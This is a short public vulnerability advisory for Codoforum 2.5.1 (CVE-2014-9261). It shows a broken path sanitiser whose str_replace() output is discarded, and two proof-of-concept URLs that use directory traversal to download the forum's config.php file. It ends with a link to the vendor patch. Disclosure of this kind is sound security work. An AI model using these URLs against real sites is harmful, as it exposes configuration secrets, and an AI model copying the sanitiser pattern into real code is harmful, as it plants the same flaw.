# Exploit Title: Codoforum 2.5.1 Arbitrary File Download # Date: 23-11-2014 # Software Link: https://codoforum.com/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # Category: webapps # CVE: CVE-2014-9261 1. Description str_replace() is used to sanitize file path but function output is not assigned to variable private function sanitize($name) { str_replace("..", "", $name); str_replace("%2e%2e", "", $name); return $name; } http://security.szurek.pl/codoforum-251-arbitrary-file-download.html 2. Proof of Concept http://codoforum-url/index.php?u=serve/attachment&path=../../../../../sites/default/config.php or http://codoforum-url/index.php?u=serve/smiley&path=../../../../../sites/default/config.php 3. Solution: Use patch: https://codoforum.com/upgrades/codoforum.v.2.6.up.zip